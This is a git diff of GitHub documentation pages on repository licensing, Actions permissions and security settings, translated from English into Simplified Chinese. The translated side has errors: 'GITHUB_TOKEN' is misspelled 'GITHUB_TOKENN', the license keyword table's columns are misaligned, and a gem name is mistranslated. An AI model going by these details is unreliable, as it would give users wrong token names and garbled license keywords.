-title: Licensing a repository
-intro: 'Public repositories on GitHub are often used to share open source software. For your repository to truly be open source, you''ll need to license it so that others are free to use, change, and distribute the software.'
+title: 许可仓库
+intro: GitHub 上的公共仓库常用于共享开源软件。 要使仓库真正开源，您需要许可它供其他人免费使用、更改和分发软件。
 redirect_from:
   - /articles/open-source-licensing
   - /articles/licensing-a-repository
@@ -13,86 +13,86 @@ versions:
 topics:
   - Repositories
 ---
-## Choosing the right license
+  ## 选择合适的许可
 
-We created [choosealicense.com](https://choosealicense.com), to help you understand how to license your code. A software license tells others what they can and can't do with your source code, so it's important to make an informed decision.
+我们创建了 [choosealicense.com](https://choosealicense.com)，以帮助您了解如何许可您的代码。 软件许可是告诉其他人，他们能够对您的代码做什么，不能做什么，因此做明智的决定很重要。
 
-You're under no obligation to choose a license. However, without a license, the default copyright laws apply, meaning that you retain all rights to your source code and no one may reproduce, distribute, or create derivative works from your work. If you're creating an open source project, we strongly encourage you to include an open source license. The [Open Source Guide](https://opensource.guide/legal/#which-open-source-license-is-appropriate-for-my-project) provides additional guidance on choosing the correct license for your project.
+您没有选择许可的义务， 但如果没有许可，就会默认实施版权法，因此您会保留对您的源代码的所有权利，任何人都不能复制、分发您的工作或创建其派生作品。 如果您创建开源项目，强烈建议您包含开源许可。 [开源指南](https://opensource.guide/legal/#which-open-source-license-is-appropriate-for-my-project)提供为项目选择正确许可的附加指导。
 
 {% note %}
 
-**Note:** If you publish your source code in a public repository on {% data variables.product.product_name %}, {% ifversion fpt or ghec %}according to the [Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service), {% endif %}other users of {% data variables.product.product_location %} have the right to view and fork your repository. If you have already created a repository and no longer want users to have access to the repository, you can make the repository private. When you change the visibility of a repository to private, existing forks or local copies created by other users will still exist. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)."
+**注：**如果您在 {% data variables.product.product_name %} 的公共仓库中发布源代码，{% ifversion fpt or ghec %}根据[服务条款](/free-pro-team@latest/github/site-policy/github-terms-of-service)，{% endif %}其他 {% data variables.product.product_location %} 用户有权利查看您的仓库并对其复刻。 如果您已创建仓库，并且不再希望用户访问它，便可将仓库设为私有。 在将仓库的可见性变为私有时，其他用户创建的现有复刻或本地副本仍将存在。 更多信息请参阅“[设置仓库可见性](/github/administering-a-repository/setting-repository-visibility)”。
 
 {% endnote %}
 
-## Determining the location of your license
+## 确定许可的位置
 
-Most people place their license text in a file named `LICENSE.txt` (or `LICENSE.md` or `LICENSE.rst`) in the root of the repository; [here's an example from Hubot](https://github.com/github/hubot/blob/master/LICENSE.md).
+大多数人将其许可文件放在仓库根目录的文件 `LICENSE.txt`（或者 `LICENSE.md` 或 `LICENSE.rst`）中；[下面是 Hubot 中的一个示例](https://github.com/github/hubot/blob/master/LICENSE.md)。
 
-Some projects include information about their license in their README. For example, a project's README may include a note saying "This project is licensed under the terms of the MIT license."
+有些项目在其自述文件中包含许可的相关信息。 例如，项目的自述文件可能包含一条注释，表示“此项目根据 MIT 许可的条款进行许可”。
 
-As a best practice, we encourage you to include the license file with your project.
+作为最佳实践，我们建议您的项目随附许可文件。
 
-## Searching GitHub by license type
+## 按许可类型搜索 GitHub
 
-You can filter repositories based on their license or license family using the `license` qualifier and the exact license keyword:
+您可以使用 `license` 限定符和准确的许可关键字，根据许可或许可系列来过滤仓库：
 
-License | License keyword
----  | ---
-| Academic Free License v3.0 | `afl-3.0` |
-| Apache license 2.0 | `apache-2.0` |
-| Artistic license 2.0 | `artistic-2.0` |
-| Boost Software License 1.0 | `bsl-1.0` |
-| BSD 2-clause "Simplified" license | `bsd-2-clause` |
-| BSD 3-clause "New" or "Revised" license | `bsd-3-clause` |
-| BSD 3-clause Clear license | `bsd-3-clause-clear` |
-| Creative Commons license family | `cc` |
-| Creative Commons Zero v1.0 Universal | `cc0-1.0` |
-| Creative Commons Attribution 4.0 | `cc-by-4.0` |
-| Creative Commons Attribution Share Alike 4.0 | `cc-by-sa-4.0` |
-| Do What The F*ck You Want To Public License | `wtfpl` |
-| Educational Community License v2.0 | `ecl-2.0` |
-| Eclipse Public License 1.0 | `epl-1.0` |
-| Eclipse Public License 2.0 | `epl-2.0` |
-| European Union Public License 1.1 | `eupl-1.1` |
-| GNU Affero General Public License v3.0 | `agpl-3.0` |
-| GNU General Public License family | `gpl` |
-| GNU General Public License v2.0 | `gpl-2.0` |
-| GNU General Public License v3.0 | `gpl-3.0` |
-| GNU Lesser General Public License family | `lgpl` |
-| GNU Lesser General Public License v2.1 | `lgpl-2.1` |
-| GNU Lesser General Public License v3.0 | `lgpl-3.0` |
-| ISC | `isc` |
-| LaTeX Project Public License v1.3c | `lppl-1.3c` |
-| Microsoft Public License | `ms-pl` |
-| MIT | `mit` |
-| Mozilla Public License 2.0 | `mpl-2.0` |
-| Open Software License 3.0 | `osl-3.0` |
-| PostgreSQL License | `postgresql` |
-| SIL Open Font License 1.1 | `ofl-1.1` |
-| University of Illinois/NCSA Open Source License | `ncsa` |
-| The Unlicense | `unlicense` |
-| zLib License | `zlib` |
+| 许可 | 许可关键字                                                         |
+| -- | ------------------------------------------------------------- |
+|    | Academic Free License v3.0 | `afl-3.0`                        |
+|    | Apache license 2.0 | `apache-2.0`                             |
+|    | Artistic license 2.0 | `artistic-2.0`                         |
+|    | Boost Software License 1.0 | `bsl-1.0`                        |
+|    | BSD 2-clause "Simplified" license | `bsd-2-clause`            |
+|    | BSD 3-clause "New" or "Revised" license | `bsd-3-clause`      |
+|    | BSD 3-clause Clear license | `bsd-3-clause-clear`             |
+|    | Creative Commons 许可系列 | `cc`                                  |
+|    | Creative Commons Zero v1.0 Universal | `cc0-1.0`              |
+|    | Creative Commons Attribution 4.0 | `cc-by-4.0`                |
+|    | Creative Commons Attribution Share Alike 4.0 | `cc-by-sa-4.0` |
+|    | Do What The F*ck You Want To Public License | `wtfpl`         |
+|    | Educational Community License v2.0 | `ecl-2.0`                |
+|    | Eclipse Public License 1.0 | `epl-1.0`                        |
+|    | Eclipse Public License 2.0 | `epl-2.0`                        |
+|    | European Union Public License 1.1 | `eupl-1.1`                |
+|    | GNU Affero General Public License v3.0 | `agpl-3.0`           |
+|    | GNU General Public License 系列 | `gpl`                         |
+|    | GNU General Public License v2.0 | `gpl-2.0`                   |
+|    | GNU General Public License v3.0 | `gpl-3.0`                   |
+|    | GNU Lesser General Public License 系列 | `lgpl`                 |
+|    | GNU Lesser General Public License v2.1 | `lgpl-2.1`           |
+|    | GNU Lesser General Public License v3.0 | `lgpl-3.0`           |
+|    | ISC | `isc`                                                   |
+|    | LaTeX Project Public License v1.3c | `lppl-1.3c`              |
+|    | Microsoft Public License | `ms-pl`                            |
+|    | MIT | `mit`                                                   |
+|    | Mozilla Public License 2.0 | `mpl-2.0`                        |
+|    | Open Software License 3.0 | `osl-3.0`                         |
+|    | PostgreSQL License | `postgresql`                             |
+|    | SIL Open Font License 1.1 | `ofl-1.1`                         |
+|    | University of Illinois/NCSA Open Source License | `ncsa`      |
+|    | The Unlicense | `unlicense`                                   |
+|    | zLib License | `zlib`                                         |
 
-When you search by a family license, your results will include all licenses in that family. For example, when you use the query `license:gpl`, your results will include repositories licensed under GNU General Public License v2.0 and GNU General Public License v3.0. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-by-license)."
+按系列许可搜索时，搜索结果将包含该系列的所有许可。 例如，在使用查询 `license:gpl` 时，搜索结果将包含在 GNU General Public License v2.0 和 GNU General Public License v3.0 下许可的仓库。 更多信息请参阅“[搜索仓库](/search-github/searching-on-github/searching-for-repositories/#search-by-license)”。
 
-## Detecting a license
+## 检测许可
 
-[The open source Ruby gem Licensee](https://github.com/licensee/licensee) compares the repository's *LICENSE* file to a short list of known licenses. Licensee also provides the [Licenses API](/rest/reference/licenses) and [gives us insight into how repositories on {% data variables.product.product_name %} are licensed](https://github.com/blog/1964-open-source-license-usage-on-github-com). If your repository is using a license that isn't listed on the [Choose a License website](https://choosealicense.com/appendix/), you can [request including the license](https://github.com/github/choosealicense.com/blob/gh-pages/CONTRIBUTING.md#adding-a-license).
+[开源 Ruby gem 被许可人](https://github.com/licensee/licensee)比较仓库的 *LICENSE* 文件与已知许可短列表。 被许可人还提供[许可 API](/rest/reference/licenses) 并[向我们提供如何许可 {% data variables.product.product_name %} 上的仓库的洞见](https://github.com/blog/1964-open-source-license-usage-on-github-com)。 如果您的仓库使用的许可未列在[选择许可网站](https://choosealicense.com/appendix/)中，您可以[申请包含该许可](https://github.com/github/choosealicense.com/blob/gh-pages/CONTRIBUTING.md#adding-a-license)。
 
-If your repository is using a license that is listed on the Choose a License website and it's not displaying clearly at the top of the repository page, it may contain multiple licenses or other complexity. To have your license detected, simplify your *LICENSE* file and note the complexity somewhere else, such as your repository's *README* file.
+如果您的仓库使用的许可列在“选择许可”网站中，但未明确显示在仓库页面顶部，其中可能包含多个许可或存在其他复杂性。 为使您的许可被检测到，请简化*许可*文件，并在其他位置注明复杂性，例如在仓库的*自述文件*中。
 
-## Applying a license to a repository with an existing license
+## 将许可应用到带现有许可的仓库
 
-The license picker is only available when you create a new project on GitHub. You can manually add a license using the browser. For more information on adding a license to a repository, see "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)."
+许可选择器仅当您在 GitHub 上创建新项目时可用。 您可以使用浏览器手动添加许可。 有关添加许可到仓库的更多信息，请参阅“[添加许可到仓库](/articles/adding-a-license-to-a-repository)”。
 
-![Screenshot of license picker on GitHub.com](/assets/images/help/repository/repository-license-picker.png)
+![GitHub.com 上许可选择器的屏幕截图](/assets/images/help/repository/repository-license-picker.png)
 
-## Disclaimer
+## 免责声明
 
-The goal of GitHub's open source licensing efforts is to provide a starting point to help you make an informed choice. GitHub displays license information to help users get information about open source licenses and the projects that use them. We hope it helps, but please keep in mind that we’re not lawyers and that we make mistakes like everyone else. For that reason, GitHub provides the information on an "as-is" basis and makes no warranties regarding any information or licenses provided on or through it, and disclaims liability for damages resulting from using the license information. If you have any questions regarding the right license for your code or any other legal issues relating to it, it’s always best to consult with a professional.
+GitHub 开源许可的目标是提供一个起点，帮助您做出明智的决定。 GitHub 显示许可信息以帮助用户了解开源许可以及使用它们的项目。 我们希望它有帮助，但请记住，我们不是律师，像其他人一样，我们也会犯错。 For that reason, GitHub provides the information on an "as-is" basis and makes no warranties regarding any information or licenses provided on or through it, and disclaims liability for damages resulting from using the license information. 如果对适合您的代码的许可有任何疑问，或有任何其他相关的问题，最好咨询专业人员。
 
-## Further reading
+## 延伸阅读
 
-- The Open Source Guides' section "[The Legal Side of Open Source](https://opensource.guide/legal/)"{% ifversion fpt or ghec %}
+- 开源指南的“[开源的法律方面](https://opensource.guide/legal/)”部分{% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}
diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md
index 90bd18f498..d0fb58c569 100644
--- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md
+++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md
@@ -22,54 +22,53 @@ shortTitle: Manage GitHub Actions settings
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About {% data variables.product.prodname_actions %} permissions for your repository
+## 关于仓库的 {% data variables.product.prodname_actions %} 权限
 
-{% data reusables.github-actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)."
+{% data reusables.github-actions.disabling-github-actions %} 有关 {% data variables.product.prodname_actions %} 的更多信息，请参阅“[关于 {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)”。
 
-You can enable {% data variables.product.prodname_actions %} for your repository. {% data reusables.github-actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for your repository altogether. {% data reusables.github-actions.disabled-actions-description %}
+您可以对您的仓库启用 {% data variables.product.prodname_actions %}。 {% data reusables.github-actions.enabled-actions-description %} 您可以对您的仓库完全禁用 {% data variables.product.prodname_actions %}。 {% data reusables.github-actions.disabled-actions-description %}
 
-Alternatively, you can enable {% data variables.product.prodname_actions %} in your repository but limit the actions a workflow can run. {% data reusables.github-actions.enabled-local-github-actions %}
+此外，您可以在您的仓库中启用 {% data variables.product.prodname_actions %}，但限制工作流程可以运行的操作。 {% data reusables.github-actions.enabled-local-github-actions %}
 
-## Managing {% data variables.product.prodname_actions %} permissions for your repository
+## 管理仓库的 {% data variables.product.prodname_actions %} 权限
 
-You can disable all workflows for a repository or set a policy that configures which actions can be used in a repository.
+您可以禁用仓库的所有工作流程，或者设置策略来配置哪些动作可用于仓库中。
 
 {% data reusables.actions.actions-use-policy-settings %}
 
 {% note %}
 
-**Note:** You might not be able to manage these settings if your organization has an overriding policy or is managed by an enterprise that has overriding policy. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)."
+**注：**如果您的组织有覆盖策略或由具有覆盖策略的企业帐户管理，则可能无法管理这些设置。 For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)."
 
 {% endnote %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.settings-sidebar-actions %}
-1. Under **Actions permissions**, select an option.
-  ![Set actions policy for this organization](/assets/images/help/repository/actions-policy.png)
-1. Click **Save**.
+1. 在 **Actions permissions（操作权限）**下，选择一个选项。 ![设置此组织的操作策略](/assets/images/help/repository/actions-policy.png)
+1. 单击 **Save（保存）**。
 
-## Allowing specific actions to run
+## 允许特定操作运行
 
 {% data reusables.actions.allow-specific-actions-intro %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.settings-sidebar-actions %}
-1. Under **Actions permissions**, select **Allow select actions** and add your required actions to the list.
+1. 在 **Actions permissions（操作权限）**下，选择 **Allow select actions（允许选择操作）**并将所需操作添加到列表中。
    {%- ifversion ghes > 3.0 %}
-   ![Add actions to allow list](/assets/images/help/repository/actions-policy-allow-list.png)
+   ![添加操作到允许列表](/assets/images/help/repository/actions-policy-allow-list.png)
    {%- else %}
-   ![Add actions to allow list](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png)
+   ![添加操作到允许列表](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png)
    {%- endif %}
-2. Click **Save**.
+2. 单击 **Save（保存）**。
 
 {% ifversion fpt or ghec %}
-## Configuring required approval for workflows from public forks
+## 配置公共复刻工作流程所需的批准
 
 {% data reusables.actions.workflow-run-approve-public-fork %}
 
-You can configure this behavior for a repository using the procedure below. Modifying this setting overrides the configuration set at the organization or enterprise level.
+You can configure this behavior for a repository using the procedure below. 修改此设置会覆盖组织或企业级别的配置集。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
@@ -79,11 +78,11 @@ You can configure this behavior for a repository using the procedure below. Modi
 {% data reusables.actions.workflow-run-approve-link %}
 {% endif %}
 
-## Enabling workflows for private repository forks
+## 为私有仓库复刻启用工作流程
 
 {% data reusables.github-actions.private-repository-forks-overview %}
 
-### Configuring the private fork policy for a repository
+### 为仓库配置私有复刻策略
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
@@ -91,22 +90,21 @@ You can configure this behavior for a repository using the procedure below. Modi
 {% data reusables.github-actions.private-repository-forks-configure %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-## Setting the permissions of the `GITHUB_TOKEN` for your repository
+## 为您的仓库设置 `GITHUB_TOKENN` 的权限
 
 {% data reusables.github-actions.workflow-permissions-intro %}
 
-The default permissions can also be configured in the organization settings. If the more restricted default has been selected in the organization settings, the same option is auto-selected in your repository settings and the permissive option is disabled.
+默认权限也可以在组织设置中配置。 如果在组织设置中选择了更受限制的默认值，则在仓库设置中自动选择相同的选项，并禁用许可的选项。
 
 {% data reusables.github-actions.workflow-permissions-modifying %}
 
-### Configuring the default `GITHUB_TOKEN` permissions
+### 配置默认 `GITHUB_TOKENN` 权限
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.settings-sidebar-actions %}
-1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope.
-  ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository.png)
-1. Click **Save** to apply the settings.
+1. 在 **Workflow permissions（工作流程权限）**下，选择您是否想要 `GITHUB_TOKENN` 读写所有范围限， 或者只读`内容`范围。 ![为此仓库设置 GITHUB_TOKENN 权限](/assets/images/help/settings/actions-workflow-permissions-repository.png)
+1. 单击 **Save（保存）**以应用设置。
 {% endif %}
 
 {% ifversion ghes > 3.3 or ghae-issue-4757 or ghec %}
@@ -119,23 +117,22 @@ To configure whether workflows in an internal repository can be accessed from ou
 1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of the internal repository.
 1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**.
 {% data reusables.repositories.settings-sidebar-actions %}
-1. Under **Access**, choose one of the access settings:
-   ![Set the access to Actions components](/assets/images/help/settings/actions-access-settings.png)
+1. Under **Access**, choose one of the access settings: ![Set the access to Actions components](/assets/images/help/settings/actions-access-settings.png)
    * **Not accessible** - Workflows in other repositories can't use workflows in this repository.
    * **Accessible from repositories in the '&lt;organization name&gt;' organization** - Workflows in other repositories can use workflows in this repository if they are part of the same organization and their visibility is private or internal.
    * **Accessible from repositories in the '&lt;enterprise name&gt;' enterprise** - Workflows in other repositories can use workflows in this repository if they are part of the same enterprise and their visibility is private or internal.
-1. Click **Save** to apply the settings.
+1. 单击 **Save（保存）**以应用设置。
 {% endif %}
 
 ## Configuring the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository
 
-You can configure the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository.
+您可以为仓库中的 {% data variables.product.prodname_actions %} 构件和日志配置保留期。
 
 {% data reusables.actions.about-artifact-log-retention %}
 
-You can also define a custom retention period for a specific artifact created by a workflow. For more information, see "[Setting the retention period for an artifact](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)."
+您还可以为工作流程创建的特定构件自定义保留期。 更多信息请参阅“[设置构件的保留期](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)”。
 
-## Setting the retention period for a repository
+## 设置仓库的保留期
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md
index 0181b7ae84..f6b38871a1 100644
--- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md
+++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing security and analysis settings for your repository
-intro: 'You can control features that secure and analyze the code in your project on {% data variables.product.prodname_dotcom %}.'
+title: 管理仓库的安全性和分析设置
+intro: '您可以控制功能以保护 {% data variables.product.prodname_dotcom %} 上项目的安全并分析其中的代码。'
 permissions: People with admin permissions to a repository can manage security and analysis settings for the repository.
 redirect_from:
   - /articles/managing-alerts-for-vulnerable-dependencies-in-your-organization-s-repositories
@@ -22,23 +22,26 @@ topics:
   - Dependency graph
   - Secret scanning
   - Repositories
-shortTitle: Security & analysis
+shortTitle: 安全和分析
 ---
-{% ifversion fpt or ghec %}
-## Enabling or disabling security and analysis features for public repositories
 
-You can manage a subset of security and analysis features for public repositories. Other features are permanently enabled, including dependency graph and secret scanning.
+{% ifversion fpt or ghec %}
+## 为公共仓库启用或禁用安全和分析功能
+
+您可以管理公共仓库的一部分安全和分析功能。 其他功能是永久启用的，包括依赖项图和密码扫描。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
-4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**.
-  !["Enable" or "Disable" button for "Configure security and analysis" features in a public repository](/assets/images/help/repository/security-and-analysis-disable-or-enable-dotcom-public.png)
+4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**.{% ifversion fpt %} !["Enable" or "Disable" button for "Configure security and analysis" features in a public repository](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-public.png){% elsif ghec %}
+!["Enable" or "Disable" button for "Configure security and analysis" features in a public repository](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-public.png){% endif %}
 {% endif %}
 
-## Enabling or disabling security and analysis features{% ifversion fpt or ghec %} for private repositories{% endif %}
+## 为私有仓库启用或禁用安全和分析功能{% ifversion fpt or ghec %}{% endif %}
 
-You can manage the security and analysis features for your {% ifversion fpt or ghec %}private or internal {% endif %}repository.{% ifversion fpt or ghes or ghec %} If your organization belongs to an enterprise with a license for {% data variables.product.prodname_GH_advanced_security %} then extra options are available. {% data reusables.advanced-security.more-info-ghas %}{% endif %}
+You can manage the security and analysis features for your {% ifversion fpt or ghec %}private or internal {% endif %}repository.{% ifversion ghes or ghec %} If your organization belongs to an enterprise with a license for {% data variables.product.prodname_GH_advanced_security %} then extra options are available. {% data reusables.advanced-security.more-info-ghas %}
+{% elsif fpt %} Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} have extra options available. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest//repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#enabling-or-disabling-security-and-analysis-features-for-private-repositories).
+{% endif %}
 
 {% data reusables.security.security-and-analysis-features-enable-read-only %}
 
@@ -46,77 +49,79 @@ You can manage the security and analysis features for your {% ifversion fpt or g
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
 {% ifversion fpt or ghes > 3.0 or ghec %}
-4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**. The control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled if your enterprise has no available licenses for {% data variables.product.prodname_advanced_security %}.{% ifversion fpt or ghec %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-dotcom-private.png){% elsif ghes > 3.2 %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/repository/security-and-analysis-disable-or-enable-ghes.png){% else %}
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/enterprise/3.1/help/repository/security-and-analysis-disable-or-enable-ghes.png){% endif %}
+4. 在“Configure security and analysis features（配置安全性和分析功能）”下，单击功能右侧的 **Disable（禁用）**或 **Enable（启用）**。 {% ifversion not fpt %}The control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled if your enterprise has no available licenses for {% data variables.product.prodname_advanced_security %}.{% endif %}{% ifversion fpt %} !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png){% elsif ghec %}
+!["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-private.png){% elsif ghes > 3.2 %}
+!["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/repository/security-and-analysis-disable-or-enable-ghes.png){% else %}
+!["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/enterprise/3.1/help/repository/security-and-analysis-disable-or-enable-ghes.png){% endif %}
+
+  {% ifversion not fpt %}
   {% note %}
 
-  **Note:** If you disable {% data variables.product.prodname_GH_advanced_security %}, {% ifversion fpt or ghec %}dependency review, {% endif %}{% data variables.product.prodname_secret_scanning %} and {% data variables.product.prodname_code_scanning %} are disabled. Any workflows, SARIF uploads, or API calls for {% data variables.product.prodname_code_scanning %} will fail.
-  {% endnote %}
+  **Note:** If you disable {% data variables.product.prodname_GH_advanced_security %}, {% ifversion ghec %}dependency review, {% endif %}{% data variables.product.prodname_secret_scanning %} and {% data variables.product.prodname_code_scanning %} are disabled. 任何工作流程、SARIF上传或 {% data variables.product.prodname_code_scanning %} 的 API 调用都将失败。
+  {% endnote %}{% endif %}
+
   {% endif %}
+
   {% ifversion ghes = 3.0 %}
-4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**.
-  !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghe.png)
+4. 在“Configure security and analysis features（配置安全性和分析功能）”下，单击功能右侧的 **Disable（禁用）**或 **Enable（启用）**。 !["Configure security and analysis（配置安全性和分析）"功能的"Enable（启用）"或"Disable（禁用）"按钮](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghe.png)
   {% endif %}
   {% ifversion ghae %}
-4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**. Before you can enable "{% data variables.product.prodname_secret_scanning %}" for your repository, you may need to enable {% data variables.product.prodname_GH_advanced_security %}.
-   ![Enable or disable {% data variables.product.prodname_GH_advanced_security %} or {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-secret-scanning-ghae.png)
+4. 在“Configure security and analysis features（配置安全性和分析功能）”下，单击功能右侧的 **Disable（禁用）**或 **Enable（启用）**。 在启用“{% data variables.product.prodname_secret_scanning %}”之前，您可能需要先启用 {% data variables.product.prodname_GH_advanced_security %}。 ![为您的仓库启用或禁用 {% data variables.product.prodname_GH_advanced_security %} 或 {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/github-ae/repository/enable-ghas-secret-scanning-ghae.png)
   {% endif %}
 
-## Granting access to security alerts
+## 授予对安全警报的访问权限
 
-After you enable {% ifversion not ghae %}{% data variables.product.prodname_dependabot %} or {% endif %}{% data variables.product.prodname_secret_scanning %} alerts for a repository in an organization, organization owners and repository administrators can view the alerts by default. You can give additional teams and people access to the alerts for a repository.
+Security alerts for a repository are visible to people with admin access to the repository and, when the repository is owned by an organization, organization owners. You can give additional teams and people access to the alerts.
 
 {% note %}
 
-Organization owners and repository administrators can only grant access to view security alerts, such as {% data variables.product.prodname_secret_scanning %} alerts, to people or teams who have write access to the repo.
+组织所有者和仓库管理员只能向具有仓库写入权限的人员授予安全警报的查看权限，如 {% data variables.product.prodname_secret_scanning %} 警报。
 
 {% endnote %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
-4. Under "Access to alerts", in the search field, start typing the name of the person or team you'd like to find, then click a name in the list of matches.
+4. 在“Access to alerts（访问警报）”下，在搜索字段中开始键入您要查找的个人或团队的名称，然后单击匹配列表中的名称。
    {% ifversion fpt or ghec or ghes > 3.2 %}
-   ![Search field for granting people or teams access to security alerts](/assets/images/help/repository/security-and-analysis-security-alerts-person-or-team-search.png)
+   ![用于授予人员或团队访问安全警报的搜索字段](/assets/images/help/repository/security-and-analysis-security-alerts-person-or-team-search.png)
    {% endif %}
    {% ifversion ghes < 3.3 %}
-   ![Search field for granting people or teams access to security alerts](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-person-or-team-search.png)
+   ![用于授予人员或团队访问安全警报的搜索字段](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-person-or-team-search.png)
    {% endif %}
    {% ifversion ghae %}
-   ![Search field for granting people or teams access to security alerts](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-person-or-team-search-ghae.png)
-   {% endif %}
-   
-5. Click **Save changes**.
-   {% ifversion fpt or ghes > 3.2 or ghec %}
-   !["Save changes" button for changes to security alert settings](/assets/images/help/repository/security-and-analysis-security-alerts-save-changes.png)
-   {% endif %}
-   {% ifversion ghes < 3.3 %}
-   !["Save changes" button for changes to security alert settings](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-save-changes.png)
-   {% endif %}
-   {% ifversion ghae %}
-   !["Save changes" button for changes to security alert settings](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-save-changes-ghae.png)
+   ![用于授予人员或团队访问安全警报的搜索字段](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-person-or-team-search-ghae.png)
    {% endif %}
 
-## Removing access to security alerts
+5. 单击 **Save changes（保存更改）**。
+   {% ifversion fpt or ghes > 3.2 or ghec %}
